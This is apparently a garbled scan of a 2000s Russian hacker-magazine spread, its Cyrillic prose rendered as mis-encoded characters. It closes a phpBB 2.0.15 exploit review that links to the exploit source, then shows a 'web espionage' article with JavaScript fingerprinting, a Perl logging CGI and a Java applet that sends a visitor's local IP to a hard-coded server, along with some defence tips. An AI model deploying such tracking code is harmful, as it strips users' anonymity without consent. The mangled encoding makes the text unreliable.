èäåò ðå÷ü. Òàêèì îáðàçîì, ñ ïîìîùüþ íåõèòðûõ
ìàíèïóëÿöèé ìîæíî çàñòàâèòü ýêñïëîéò íå òîëü-
êî ïîêàçûâàòü ïåðåìåííûå, íî è âûïîëíÿòü ñèñ-
òåìíûå êîìàíäû. Êàê ýòî ñäåëàòü, íå ñêàæó �
äîãàäàåøüñÿ ñàì :). Ïîäñêàæó, ÷òî ïî ñóòè
ýêñïëîéò ÿâëÿåòñÿ ïðîñòûì èíòåðôåéñîì äëÿ
âûïîëíåíèÿ îïåðàöèè, êîòîðóþ ìîæíî ëåãêî ñäå-
ëàòü ÷åðåç àäðåñíóþ ñòðîêó áðàóçåðà.

[çàùèòà] Ïåðåóñòàíîâêà ôîðóìà äî áîëåå
ïîçäíåãî ðåëèçà ðàçîì ðåøèò âñå ïðîáëåìû, îä-
íàêî íèêòî íå ãàðàíòèðóåò, ÷òî õàêåðû íå íàéäóò
áðåøü â ñâåæåé âåðñèè è íå ïîðóëÿò òâîèì ñåð-
âåðîì :). Ïîýòîìó íà òâîåì ìåñòå ÿ áû âîîáùå
ñíåñ phpBB. Îò ãðåõà ïîäàëüøå.

[cñûëêè] Äëÿ îçíàêîìëåíèÿ ìîæíî âçÿòü èñõîäíûé
êîä ýêñïëîéòà ïî ññûëêå http://securitylab.ru/_Exploits/
2005/07/phpbbSecureD.pl.txt.

[çëîêëþ÷åíèå] Íà ñàìîì äåëå ñèòóàöèÿ íå
ñëèøêîì âûãîäíà. Â èíåòå ñòàíîâèòñÿ âñå ñëîæ-
íåé íàéòè phpBB 2.0.15, ïîòîìó êàê ìíîãèå âåá-
ìàñòåðû èçíà÷àëüíî ñòàëè èñïîëüçîâàòü âåðñèþ
2.0.16, íî åñëè õîðîøî ïîèñêàòü, òî òû îáÿçà-
òåëüíî îáíàðóæèøü ìíîãî áàæíûõ ôîðóìîâ :).

[greets] Äðóæíî ñíèìàåì øëÿïû ïåðåä SecureD
(gvr.secured@gmail.com). Èìåííî ýòîò ÷åëîâåê
îáíàðóæèë áàã è íàïèñàë îòëè÷íûé ýêñïëîéò.

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

ÎÎÁÁÇÇÎÎÐÐ ÝÝÊÊÑÑÏÏËËÎÎÉÉÒÒÎÎÂÂ

øåëë-êîä çâåðñêîãî ýêñïëîéòà ñïëîéò äëÿ IPB â ðàáîòå îòìû÷êà äëÿ phpBB 2.0.15
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ÏÐÎÁËÅÌÀ ÀÍÎÍÈÌÍÎÑÒÈ ÂÎÇÍÈÊËÀ ÂÌÅÑÒÅ Ñ ÏÎ-
ßÂËÅÍÈÅÌ ÑÅÒÈ È ÃÎÄ ÎÒ ÃÎÄÀ ÑÒÀÍÎÂÈÒÜÑß ÂÑÅ
ÁÎËÅÅ ÀÊÒÓÀËÜÍÎÉ. ÊÓ×À ËÞÄÅÉ ÏËÀÒßÒ ÓÂÅÑÈÑ-
ÒÛÅ ÑÓÌÌÛ ÇÀ ÑÂÅÆÈÅ ÏÐÎÊÑÈ-ËÈÑÒÛ, ÄÎÑÒÓÏ Ê
VPN-ØËÞÇÀÌ È Î×ÅÍÜ ÑÈËÜÍÎ ÇÀÏÀÐÈÂÀÞÒÑß ÍÀÄ
ÑÎÁÑÒÂÅÍÍÎÉ ÀÍÎÍÈÌÍÎÑÒÜÞ. ÎÄÍÀÊÎ ÎÍÈ ÄÀÆÅ
È ÍÅ ÄÎÃÀÄÛÂÀÞÒÑß, ×ÒÎ ÑÓÙÅÑÒÂÓÅÒ ÌÍÎÆÅÑÒ-
ÂÎ ÍÅÑËÎÆÍÛÕ ÏÐÈÅÌÎÂ, ÏÎÇÂÎËßÞÙÈÕ ÏÎËÓ-
×ÈÒÜ ÄÎÑÒÓÏ Ê ÈÍÔÎÐÌÀÖÈÈ, ÊÎÒÎÐÓÞ ÎÍÈ ÒÀÊ
ÒÙÀÒÅËÜÍÎ ÑÊÐÛÂÀÞÒ. ÓÇÍÀÒÜ ÐÅÀËÜÍÛÉ IP, ÏÀÐÀ-
ÌÅÒÐÛ ÊÎÌÏÜÞÒÅÐÀ, ÌÅÑÒÎÐÀÑÏÎËÎÆÅÍÈÅ ÏÎËÜ-
ÇÎÂÀÒÅËß, ÈÑÏÎËÜÇÓÅÌÛÉ PROXY, � ÍÈÊÀÊÈÕ
ÏÐÎÁËÅÌ! ÑÅÉ×ÀÑ ß ÍÀÓ×Ó ÒÅÁß ÎÑÍÎÂÀÌ ÝËÅÊÒ-
ÐÎÍÍÎÃÎ ØÏÈÎÍÀÆÀ. | Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Ðàçãîâîð÷èâûé îîñåë [áîëüøîé áðàò] Ìåòîäû çàùèòû îò ïîñòîðîííèõ ãëàç áûâàþò ðàçíûìè.
Ñàìûé ïðèìèòèâíûé ñïîñîá � èñïîëüçîâàòü ïðè ðàáîòå â Ñåòè proxy-ñåð-
âåðà. Îäíàêî íè äëÿ êîãî íå ñåêðåò, ÷òî íå âñå ïðîêñèêè îáåñïå÷èâàþò ñâî-
èì êëèåíòàì àíîíèìíîñòü. Íåêîòîðûå èç íèõ ñâåòÿò ðåàëüíûé IP â äèðåê-
òèâå X_FORWARDED_FOR, äðóãèå ïèøóò ïîäðîáíûå ëîãè, êîòîðûå ïî ïåð-
âîìó çàïðîñó èç ÌÂÄ ïîïàäóò íà ñòîë ê Ïåòðó Âàñèëüåâè÷ó ñ òðåìÿ çâåç-
äî÷êàìè íà ïîãîíàõ. Íà ïðàêòèêå îêàçûâàåòñÿ, ÷òî âñå ñåðâåðà, èíôîðìà-
öèÿ î êîòîðûõ ïóáëè÷íî äîñòóïíà, � íàñòîÿùåå ïàëåâî è ïîëüçîâàòüñÿ èìè
íå ñëåäóåò. Êîíå÷íî, âìåñòî ëåâîãî ïðîêñèêà ìîæíî çàþçàòü áûñòðûé
ñîêñ, ïîäíÿòü òóííåëü èëè VPN. Îäíàêî äàæå ñèäÿ ïîä òðåìÿ VPN-ñîåäèíå-
íèÿìè, âçëîìùèêà ìîæíî âû÷èñëèòü. Äåëàåòñÿ ýòî ñ ïðèìåíåíèåì òåõíî-
ëîãèé web-øïèîíàæà. Òû íèêîãäà íå ïîñåùàë ðåñóðñû, ãäå òåáå ïðåäëàãà-
þò ïðîâåðèòüñÿ íà àíîíèìíîñòü? Óâåðåí, ÷òî ïîñåùàë. Ïîäîáíûå òåõíîëî-
ãèè ïîçâîëÿò óçíàòü, íàñêîëüêî ñîâåðøåííà òâîÿ áåçîïàñíîñòü. È îáû÷íî
ïîñëå òåñòèðîâàíèÿ ïîëüçîâàòåëü âèäèò áîëüøèå èçúÿíû â àíîíèìíîñòè.
Íàñòàëî âðåìÿ ïîãîâîðèòü î ðàáîòå ïîäîáíûõ ñêðèïòîâ òåñòèðîâàíèÿ.
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Ðåçîííûé âîïðîñ :). Íà ñàìîì äåëå, ïðîãðàììèðîâàíèå íà Java
÷ðåçâû÷àéíî óâëåêàòåëüíàÿ øòóêà, ïîýòîìó óñòàíîâèòü ñåáå êîìï-
ëåêò j-ðàçðàáîò÷èêà íóæíî äàæå ïðîñòî èç çäîðîâîãî èíòåðåñà.
Ïåðâûì äåëîì çàéäè íà http://java.sun.com/j2se/1.4.2/download.html
è óáåäèñü â òîì, ÷òî Java SDK âåñèò áîëüøå ñòà ìåòðîâ. Çàòåì
îòêðîé íàø äèñê è óñòàíîâè SDK îòòóäà. Â äèðåêòîðèè, êóäà òû óñ-
òàíîâèë Java, áóäåò íåñêîëüêî êàòàëîãîâ è ôàéëîâ, íî âñå îñíîâ-
íûå óòèëèòû, êîòîðûå ïîòðåáóþòñÿ òåáå, íàõîäÿòñÿ â \bin. Âñå èñ-
õîäíèêè ñîáèðàþòñÿ ïðè ïîìîùè êîìïèëÿòîðà javac.exe:
javac source.java

Âûïîëíèòü ãîòîâûé áàéò-êîä ìîæíî, çàïóñòèâ ìàøèíó java.exe
è ïåðåäàâ â êà÷åñòâå ïàðàìåòðà èìÿ âûïîëíÿåìîãî ôàéëà:

java byte.java

Â íàøåì ñëó÷àå ìû èìååì äåëî ñ àïïëåòàìè è èõ íóæíî çà-
ïóñêàòü ëèáî ïðè ïîìîùè appletviewer, ëèáî íàïðÿìóþ ïðè ïî-
ìîùè áðàóçåðà. Äëÿ ýòîãî íåîáõîäèìî ñîçäàòü html-ôàéë ñî
ñëåäóþùèì ñîäåðæèìûì:

<applet code = "te" width=500 height=500>
</applet>

Çäåñü âìåñòî «te» íóæíî ïîñòàâèòü èìÿ ôàéëà ñ áàéò-êîäîì,
ïðè÷åì ðàñøèðåíèå ìîæíî îïóñòèòü.

download-ñòðàíèöà Java SDK

Ñ ïîìîùüþ äûð â ñèñòåìå è
áðàóçåðå, ìîæíî ïîäíÿòü áî-
ëåå äåòàëüíóþ èíôó. Ê ïðè-
ìåðó, óçíàòü ðåãèñòðàöèîí-
íûé íîìåð Windows, ïîñìîò-
ðåòü ñîäåðæèìîå äèñêà èëè
ïåðåõâàòèòü èìÿ êîìïüþòåðà.

Íàèëó÷øèé ìåòîä çàùèòû îò âíåøíåãî
øïèîíàæà � èñïîëüçîâàíèå VPN-ñîåäèíå-
íèé, ëèáî ñîêñèôèêàöèÿ âñåé ñèñòåìû ñ
ïîìîùüþ SocksChain (www.sockschain.com/
files/ufasoft_sockschain_3.11.148.exe) 
èëè SocksCap
(http://archive.socks.permeo.com/cgi-
bin/download.pl).

Óçíàé, ÷òî òû ðàññêàçûâàåøü
î ñåáå, ðàáîòàÿ â Ñåòè



çàïèñûâàþòñÿ äâå ïåðåìåííûå: X_FORWARDED_FOR è HTTP_VIA. Â ñëó÷àå,
åñëè ïîëüçîâàòåëü þçàåò îáû÷íûé ïðîêñè-ñåðâåð, â ïåðâîé ïåðåìåííîé íàõî-
äèòñÿ åãî ðîäíîé IP-àäðåñ, à âî âòîðîé � àéïèøíèê è ïîðò, íà êîòîðîì ðàñïî-
ëîæåí ïðîêñèê. Ïðè÷åì äàæå â ñëó÷àå ïîëíîé àíîíèìíîñòè ïðîêñè-ñåðâåðà, ïå-
ðåìåííàÿ HTTP_VIA ìîæåò áûòü íå ïóñòîé. Î÷åíü âàæíî ïðîâåðèòü ýòî, ïðåæ-
äå ÷åì èñïîëüçîâàòü proxy â íåçàêîííûõ öåëÿõ. Íåêîòîðûå ýëåêòðîííûå ðåñóð-
ñû ïðîñòî íå îáñëóæèâàþò êëèåíòîâ, êîòîðûå ïîñåùàþò ñàéò ÷åðåç ïðîêñè.

[javascript � âðàã íàðîäà] Òû íèêîãäà íå çàäóìûâàëñÿ, ïî÷åìó ìíîãèå
ïîëüçîâàòåëè íå äîâåðÿþò JavaScript-ïðèëîæåíèÿì è âûêëþ÷àþò ïîääåðæ-
êó ýòîé òåõíîëîãèè â ñâîèõ áðàóçåðàõ? Íà ñàìîì äåëå ñ ïîìîùüþ
JavaScript ìîæíî óòàùèòü íåêîòîðûå êîíôèäåíöèàëüíûå ñâåäåíèÿ î ìàøè-
íå ïîëüçîâàòåëÿ. ß ðàññêàæó, íàïðèìåð, î òîì, êàê óçíàòü ìàêñèìàëüíîå è
òåêóùåå ðàçðåøåíèå ýêðàíà, âðåìÿ, à òàêæå òèï ïðîöåññîðà:

<script language="javascript">
document.write ("You are using: " + navigator.appName)
document.write ("CPU type: " + navigator.cpuClass)
document.write ("Screen Resolution: " + screen.width + "x" +
screen.height)
document.write ("Available Screen Resolution: " + screen.availWidth + "x"
+ screen.availHeight)
document.write ("Screen Color Depth: " + screen.colorDepth)
today = new Date()
document.writeln("Date & time on your computer and time zone is: " +
today)
document.writeln("Date & time in your locale format: " +
today.toLocaleString())
</script>

Â äàííîì ïðèìåðå ÷åòêî è ÿñíî íàçûâàåòñÿ èìÿ áðàóçåðà, à òàêæå ïðèâîäèò-
ñÿ ìàêñèìàëüíî âîçìîæíîå, òåêóùåå ðàçðåøåíèå ýêðàíà è ëîêàëüíîå âðåìÿ.
Ñîãëàñèñü, íåïðèÿòíî, êîãäà ïîäîáíàÿ èíôà ñîõðàíÿåòñÿ â ÷üåì-òî ëîãå. Îñî-
áåííî ýòî êàñàåòñÿ âðåìåíè: âåäü ïî ÷àñîâîìó ïîÿñó ìîæíî ëåãêî îïðåäåëèòü
ñòðàíó è ëåãêî âû÷èñëèòü ìåñòîïîëîæåíèå íàðóøèòåëÿ ñåòåâîãî ïîðÿäêà.

[java �� èñòî÷íèê çëà] Íî JavaScript ìîæåò íàíåñòè êîïåå÷íûé óðîí ïî
ñðàâíåíèþ ñ òåì, íà ÷òî ñïîñîáíà äî÷êà Sun Microsystems � Java. Åñëè òû
äî ñèõ ïîð ðàçðåøàåøü çàãðóçêó ëþáûõ ÿâà-àïïëåòîâ, òî òåáå ñòîèò çàäó-
ìàòüñÿ íàä ñîáñòâåííîé áåçîïàñíîñòüþ. Âåäü ñóùåñòâóþò äîñòàòî÷íî
ïðîñòûå íàðàáîòêè, ïîçâîëÿþùèå óçíàòü òâîé ðåàëüíûé IP-àäðåñ, äàæå åñ-
ëè òû ðàáîòàåøü ÷åðåç öåïî÷êó socks-ñåðâåðîâ.
Íà ñàìîì äåëå, ìåõàíèçì îïðåäåëåíèÿ àéïèøíèêà ïðîñò äî áåçóìèÿ. Ðåà-
ëèçîâàòü ýòîò ïðèåì òåáå íå ïîìåøàåò äàæå òîò ôàêò, ÷òî òû íè÷åãî íå
ñìûñëèøü â ïðîãðàììèðîâàíèè íà Java :). Îñíîâíàÿ èäåÿ çàêëþ÷àåòñÿ â
òîì, ÷òîáû âêëþ÷èòü â ñòðàíèöó øïèîíñêîãî ñàéòà íåâèäèìûé àïïëåò, êî-
òîðûé, ïðè ïîìîùè ñòàíäàðòíîãî ñåòåâîãî êîìïîíåíòà java.net, ñîçäàñò ñî-
êåò ñ òâîèì óçëîì è âûçîâåò âûïîëíåíèå ñêðèïòà, êîòîðûé çàïèøåò â ëîã
IP-àäðåñ êëèåíòà.
Ñîâåðøåííî ïîíÿòíî, ÷òî ýòî áóäåò èìåííî ðåàëüíûé IP-àäðåñ, ïîñêîëüêó
áàéò-êîä java-ïðèëîæåíèÿ âûïîëíÿåòñÿ âèðòóàëüíîé ìàøèíîé è, ðàçóìååò-
ñÿ, ïîäêëþ÷åíèå áóäåò ðåàëèçîâàíî íàïðÿìóþ, áåç èñïîëüçîâàíèÿ ïðîêñè-
êîâ, óêàçàííûõ â íàñòðîéêàõ áðàóçåðà.
Òàêîé ôîêóñ âïîëíå ìîæíî èñïîëüçîâàòü äàæå äëÿ îðãàíèçàöèè àíòèôðî-
äîâîé ñèñòåìû. Ïðåäñòàâèì íà ñåêóíäó, áóäòî áû íåãîäÿé � âçëîìùèê ïû-
òàåòñÿ îáìàíóòü íà ïàðó òûñÿ÷ äîëëàðîâ àìåðèêàíñêèé èíòåðíåò-ìàãàçèí.
Êàê ïîëàãàåòñÿ, îí çàõîäèò ÷åðåç öåïî÷êó socks-ñåðâåðîâ íà ñàéò å-øîïà è
ïðèñòóïàåò ê ñâîåìó ÷åðíîìó äåëó. Â ïðîöåññå âáèâàíèÿ ëåâûõ äàííûõ íàø
ãåðîé íå îáðàùàåò âíèìàíèå, ÷òî íà îäíîé èç ñòðàíèö çàãðóçèëñÿ íåâèäè-
ìûé java-àïïëåò, êîòîðûé è âûäàë àäìèíàì âñþ èíôîðìàöèþ î åãî ðåàëü-
íîì IP. Ïîìèìî ýòîãî òðþêà, ñ ïîìîùüþ ñòàíäàðòíûõ ìåòîäîâ java, âïîëíå
ðåàëüíî óçíàòü è ip-àäðåñ ëîêàëüíîãî èíòåðôåéñà êëèåíòà.
Ñêàæåì, åñëè ïîëüçîâàòåëü ðàáîòàåò â ëîêàëüíîé ñåòè è ñèäèò â èíåòå ÷åðåç

[êîâàðíûå ïåðåìåííûå]
Ïî÷òè âñå áðàóçåðû ïðè îáðà-
ùåíèè ê web-ñåðâèñó ïåðåäàþò
â çàïðîñå ìàññó ëþáîïûòíîé
èíôîðìàöèè î êëèåíòå, êîòîðàÿ
èìååò ïîñðåäñòâåííîå îòíîøå-
íèå ê çàïðàøèâàåìîìó äîêó-
ìåíòó. Â ñàìîì äåëå, àáñîëþòíî
âñå ñîâðåìåííûå îáîçðåâàòåëè,
ïîìèìî îáÿçàòåëüíûõ ïîëåé,
îïðåäåëÿåìûõ ñïåöèôèêàöèåé
HTTP, ïåðåäàþò êó÷ó íåîáÿçà-
òåëüíûõ äàííûõ â ïîëÿõ, âðîäå
REMOTE_ADDR è HTTP_USER_
AGENT. Ðàçóìååòñÿ, åñëè äëÿ
web-ñåðôèíãà òû èñïîëüçóåøü
telnet.exe, òî íèêàêèõ gðîáëåì ó
òåáÿ íå âîçíèêíåò: GET /file.html
è íèêàêîãî ïàëåâà. À âîò åñëè

òû ïðåäïî÷èòàåøü IE, òî ñòîèò çàäóìàòüñÿ íàä ïðîáëåìîé. Âåäü ïåðåäàâàå-
ìàÿ web-ñåðâåðó èíôîðìàöèÿ ìîæåò áûòü ïðîèãíîðèðîâàíà, à ìîæåò áûòü è
çàïèñàíà â ëîã-ôàéë, ãåíåðèðóåìûé ñïåöèàëüíûì ñöåíàðèåì. Ñêðèïò ìîæåò
âûçûâàòüñÿ êàê ÷åðåç SSI, òàê è ëþáûì äðóãèì ñïîñîáîì. Â øïèîíñêîì ñöå-
íàðèè íå áóäåò çàìîðî÷åííîãî êîäà, îí ïðîñòî çàïèøåò âàæíûå ñâåäåíèÿ î
êëèåíòå. Íàïðèìåð, òàêèì îáðàçîì:

[øïèîíñêèé êîä äëÿ ñîçäàíèÿ ëîãîâ]

#!/usr/bin/perl
print "Content-type: text/html\n\n";
open(LOG, ">>/var/log/clients");
print LOG "Client: $ENV{REMOTE_ADDR}, $ENV{HTTP_USER_AGENT},
$ENV{HTTP_REFERER}\n";
print LOG "Proxy: $ENV{HTTP_FORWARDED_FOR} $ENV{HTTP_VIA}\n";
close(LOG);

×òî äåëàåò ýòîò ñöåíàðèé? Â ïåðâîé åãî ÷àñòè ïðîèñõîäèò ëîãèðîâàíèå áà-
çîâûõ ïåðåìåííûõ îêðóæåíèÿ: IP-àäðåñà êëèåíòà, èíôîðìàöèè î áðàóçåðå,
à òàêæå URL'à, îòêóäà ïîñåòèòåëü ïðèøåë íà äàííóþ ñòðàíèöó. Êàçàëîñü
áû, ÷òî òóò òàêîãî? Íà ñàìîì äåëå, ñ ïîìîùüþ ïîäîáíîãî æóðíàëèðîâàíèÿ
ìîæíî óçíàòü ìàññó ïîëåçíîé èíôîðìàöèè î ïîëüçîâàòåëå. Â ÷àñòíîñòè, ïî
òàêîìó ëîãó ìîæíî ëåãêî îïðåäåëèòü, èç êàêîé ñòðàíû þçåð è êàêàÿ ó íåãî
îïåðàöèîííàÿ ñèñòåìà. Íå âåðèøü? Çðÿ, ïðèÿòåëü. Ïðè ñîñòàâëåíèè çàïðî-
ñà òâîé áðàóçåð çàïèñûâàåò â ïîëå User-Agent ñòðîêó ñëåäóþùåãî âèäà:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru)

Ëåãêî âèäåòü, ÷òî â äàííîì ñëó÷àå ó ïîëüçîâàòåëÿ óñòàíîâëåíà WinXP, à òàê-
æå øåñòîé IE. Ïîìèìî ýòîãî â ñòðîêå àãåíòà îò÷åòëèâî âèäåí ðóññêèé ÿçûê.
Åñëè êàêîé-íèáóäü êàðäåð ñ ïîäîáíûì HTTP_USER_AGENT'îì ïîïðîáóåò
ïðîâåñòè íåçàêîííóþ òðàíçàêöèþ, òî îí áóäåò ëåãêî âû÷èñëåí àíòèôðîäîì.
Ñìîòðèì äàëåå. Ïåðåìåííàÿ HTTP_REFERER òàêæå ìîæåò âûäàòü âçëîì-
ùèêà ñ ïîòðîõàìè. Åñëè ñêðèïò çàëîãèðóåò, ÷òî ÿêîáû àìåðèêàíñêèé êàðä-
õîëäåð çàøåë â èíåò-ìàãàçèí ñ ñàéòà mail.ru, òî ó ñëóæáû áåçîïàñíîñòè å-
øîïà âîçíèêíåò î÷åíü ìíîãî âîïðîñîâ.
È, íàêîíåö, ïðèøëî âðåìÿ ïîãîâîðèòü îá IP-àäðåñå. Åñëè þçåð áóäåò èñ-
ïîëüçîâàòü ïðîêñè, òî â ïåðåìåííóþ REMOTE_ADDR çàïèøåòñÿ àéïèøíèê
ïðîêñèêà. Íî íå ñòîèò ðàäîâàòüñÿ ðàíüøå âðåìåíè. Ñïîñîáû îáíàðóæåíèÿ
ïðîêñè-ñåðâåðîâ åñòü è àêòèâíî ïðèìåíÿþòñÿ íà ìíîãèõ ïîðòàëàõ (íàïðè-
ìåð, íà òîì æå ßíäåêñå).
Îáðàòè âíèìàíèå íà øåñòóþ ñòðî÷êó ñêðèïòà, êîòîðûé ÿ ïðèâîäèë âûøå. Òàì

ñïèñîê àíîíèìíûõ ïðîêñèêîâ, áîëüøàÿ
÷àñòü èç êîòîðûõ � íàñòîÿùåå ïàëåâî

ñàìîïàëüíûé ÷åêåð ïåðåìåííûõ îêðóæåíèÿ èñõîäíèê õàêåðñêîãî àïïëåòà [X
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NAT, òî ïðè ïîìîùè ïåðâîãî ñïîñîáà òû ïîëó÷èøü âíåøíèé ip åãî øëþçà. Íî
îêàçûâàåòñÿ, ÷òî âîçìîæíî ïîëó÷èòü è àäðåñ ëîêàëüíîãî èíòåðôåéñà: äåëà-
åòñÿ ýòî ïðè ïîìîùè ñòàíäàðòíîãî ìåòîäà InetAddress.getLocalHost().
×òîáû íå áûòü ãîëîñëîâíûì, ÿ ïðèâåäó ïðèìåð êîäà, êîòîðûé ïîäêëþ÷àåò-
ñÿ íàïðÿìóþ ê web-ñåðâåðó è âûïîëíÿåò òàì CGI-ñöåíàðèé, ïåðåäàâàÿ åìó
â êà÷åñòâå ïàðàìåòðà àäðåñ ëîêàëüíîãî èíòåðôåéñà è èìÿ êîìïüþòåðà:

[java-àïïëåò äëÿ îïðåäåëåíèÿ ðåàëüíîãî IP]

import java.applet.Applet;
import java.awt.*;
import java.io.*;
import java.net.*;
public class te extends Applet {
Socket sock;
DataInputStream in;
String res;
InetAddress l_ip;
String s_ip;

public void init() {
try {

l_ip = InetAddress.getLocalHost(); 
s_ip=l_ip.toString();
Socket sock = new Socket("217.10.40.71", 80);
PrintStream printstream = new PrintStream(sock.getOutputStream());
printstream.println("GET /script.pl?ip=" + s_ip + "\n\r\n\r");
in = new DataInputStream(sock.getInputStream());
res = in.readLine();
printstream.close();
sock.close();

} catch (IOException e) {}
}}

[çàùèòè ñåáÿ ñàì] Íàäåþñü, ÿ óáåäèë òåáÿ, ÷òî ïðè áîëüøîì æåëàíèè è
íåêîòîðîì âåçåíèè ÷åðåç áðàóçåð ìîæíî óçíàòü ïî÷òè âñå, ÷òî òàê òùà-
òåëüíî ñêðûâàþò ïîëüçîâàòåëè: ðåàëüíûé IP, àäðåñ ëîêàëüíîãî óñòðîéñòâà,
ñèñòåìíûå ïàðàìåòðû, ÷àñîâîé ïîÿñ è ëîêàëèçàöèþ ñèñòåìû. Íî åñëè âîâ-
ðåìÿ ïîäóìàòü î çàùèòå, òî ìîæíî ëåãêî îáëîìàòü âñåõ ýòèõ øïèîíîâ.
Âî-ïåðâûõ, íåîáõîäèìî îòêëþ÷èòü Java è JavaScript. Â ñëó÷àå èñïîëü-
çîâàíèÿ Internet Explorer, ýòî ìîæíî ñäåëàòü â äîïîëíèòåëüíûõ ñâîé-
ñòâàõ îáîçðåâàòåëÿ. Íî îñëèê ïî îïðåäåëåíèþ ÿâëÿåòñÿ î÷åíü óïðÿ-
ìûì áðàóçåðîì, ïîýòîìó íå ôàêò, ÷òî ïîääåðæêà ÿçûêîâ äåàêòèâèðó-
åòñÿ. Äëÿ ïðîâåðêè ðåêîìåíäóþ íàïèñàòü íåáîëüøîé HTML-ôàéë ñëå-
äóþùåãî ñîäåðæàíèÿ:

<script language="JavaScript">
<!--document.write ("<JavaScript is enabled and working.")-->
<noscript>
<h1>All done
</noscript>
</script>

Â äàííîì ôðàãìåíòå ñèìâîëèêà <!-- --> îçíà÷àåò, ÷òî âëîæåííûå ñòðîêè
âûïîëíÿòñÿ ëèøü â ñëó÷àå, êîãäà èñïîëüçîâàíèå JavaScript (èëè ëþáîãî
äðóãîãî ÿçûêà, îáúÿâëåííîãî âûøå) âêëþ÷åíî. Åñëè âñå íîðìàëüíî, áóäåò
âûïîëíåí âëîæåííûé êîä òåãîâ <noscript></noscript>, ñîäåðæàíèå êîòîðûõ
îáúÿâèò î íîðìàëüíîé çàùèòå.
Íî ñàìîå ñëîæíîå � ýòî âûêëþ÷èòü ïîääåðæêó Java. Åñëè ó òåáÿ íà êîìïü-
þòåðå ñòîèò SDK, òî íå ôàêò, ÷òî îäíîé ãàëî÷êîé òû ñìîæåøü âûêëþ÷èòü
ïîääåðæêó â IE. Â ñâÿçè ñ ýòèì â èíòåðíåòå åñòü î÷åíü ìíîãî ïðîãðàìì,
ïðîòèâîñòîÿùèõ çàãðóçêå Java-àïïëåòîâ. Ñîâåòóþ ïîèñêàòü ïîäîáíûå âå-
ùè è âûáðàòü äëÿ ñåáÿ ëó÷øèé ñîôò.
Îòìå÷ó òàêæå, ÷òî ïîðîæäåíèå ïðÿìûõ Java-ñîêåòîâ ìîæíî çàïðåòèòü ñ ïî-
ìîùüþ ëþáîãî ôàéðâîëà. Äîñòàòî÷íî íàñòðîèòü áðàíäìàóýð òàê, ÷òîáû îí
ñïðàøèâàë î äîïóñêå ïðèëîæåíèÿ â Ñåòü

| ÏÏÐÎÂÅÐÊÀ ÍÍÀ ÂÂØÈÂÎÑÒÜ || 

Íèæå ÿ ïðèâåäó èçâåñòíûå ñàéòû äëÿ ïðîâåðêè web-àíîíèì-
íîñòè. Îáÿçàòåëüíî ïîñåòè èõ âñå, òàê êàê ýòè ðåñóðñû äîïîë-
íÿþò äðóã äðóãà.

1 http://leader.ru/secure/who.html
Ýòîò ñöåíàðèé ïîçâîëÿåò îöåíèòü îáùóþ ñåòåâóþ àíîíèìíîñòü.
Çäåñü òåáå íàïèøåòñÿ òåêóùèé IP-àäðåñ, âåðñèÿ áðàóçåðà, åãî
ìîäèôèêàöèÿ (åñëè åñòü), user-agent, îïåðàöèîííàÿ ñèñòåìà, íà-
ëè÷èå ïðîêñè-ñåðâåðà è ÷èñëî ïðîêñèêîâ â öåïî÷êå. Ïîìèìî ýòî-
ãî çäåñü ìîæíî óâèäåòü õîñò è ïîðò ïîñëåäíåãî ïðîêñè è åãî ïî÷-
òîâûé ñåðâåð. Âî âòîðîé ÷àñòè ïðîâåðêè òû ïîëó÷èøü òåêóùåå è
ìàêñèìàëüíî âîçìîæíîå ðàçðåøåíèå ýêðàíà, ñòàòóñ ðàáîòû
Java/JavaScript/VbScript, âðåìÿ è ìíîãî äðóãèõ èíòåðåñíûõ âåùåé.
2 http://shadowsecurity.net.ua/r/checking.shtml
Òðåõñòàäèéíàÿ ïðîâåðêà íà íàëè÷èå ïðîêñè-ñåðâåðîâ. Ýòîò
ñöåíàðèé àíàëèçèðóåò òåêóùèé proxy, è åñëè îí åñòü - äåòàëü-
íî âûðèñîâûâàåò ñâåäåíèÿ î íåì. Äàëåå îí ïðåäëàãàåò ïðîâå-
ðèòü ïðîèçâîëüíûé ïðîêñè íà àíîíèìíîñòü, à íà òðåòüåì øàãå
äàåò ïîëíûå ñâåäåíèÿ î êàæäîé ïåðåìåííîé îêðóæåíèÿ. Òàê-
æå ìîæíî âñòðåòèòü ðåêîìåíäàöèè ïî áåçîïàñíîñòè è ìîäè-
ôèêàöèè env-ïåðåìåííûõ.
3 www.stilllistener.addr.com/checkpoint1
Åùå áîëåå äåòàëüíàÿ ïðîâåðêà àíîíèìíîñòè. Çäåñü, ïîìèìî
ïåðåìåííûõ CGI, ìîæíî îöåíèòü ïðîêñè ïî 5-áàëëüíîé øêàëå,
à òàêæå ïðîéòè òåñòû ñî øïèîíñêèìè Java-ïðèëîæåíèÿìè, êî-
òîðûå ïîïûòàþòñÿ óçíàòü òâîé ðåàëüíûé àäðåñ, èíòðàñåòåâîé
IP, à òàêæå ëîêàëüíîå âðåìÿ.

ïðîâåðêà íà Ëèäåðå

åùå îäèí íåçàìûñëîâàòûé òåñò

proxy äëÿ Java - íå ïîìåõà! âûçîâ java-àïïëåòà





ÃÎÄÀ ÏÎËÒÎÐÀ ÍÀÇÀÄ ÌÈÐ ÎØÀÐÀØÈËÀ ÍÎÂÎÑÒÜ
Î ÒÎÌ, ×ÒÎ ÈÑÕÎÄÍÛÅ ÊÎÄÛ ÑÀÌÎÃÎ ÎÆÈÄÀÅÌÎ-
ÃÎ ØÓÒÅÐÀ 2004 ÃÎÄÀ � HALF-LIFE 2 � ÁÛËÈ ÏÎÕÈ-
ÙÅÍÛ. ÍÅÈÇÂÅÑÒÍÎÃÎ ÕÀÊÅÐÀ ÌÀÒÅÐÈËÈ ÍÀ ×ÅÌ
ÑÂÅÒ ÑÒÎÈÒ. ÅÙÅ ÁÛ � ÂÛÕÎÄ ÈÃÐÓØÊÈ ÎÒËÎÆÈ-
ËÈ ÍÀ ÍÅÎÏÐÅÄÅËÅÍÍÛÉ ÑÐÎÊ. ÌÀÒÅÐÈËÈ-ÒÎ ÌÀ-
ÒÅÐÈËÈ, À ÓÊÐÀÄÅÍÍÓÞ ÏÈÐÀÒÑÊÓÞ ÂÅÐÑÈÞ ÍÀ
ÏÐÈËÀÂÊÈ ÏÎÁÅÆÀËÈ ÏÎÊÓÏÀÒÜ ÂÑÅ :). ß ÅÙÅ ÒÎÃ-
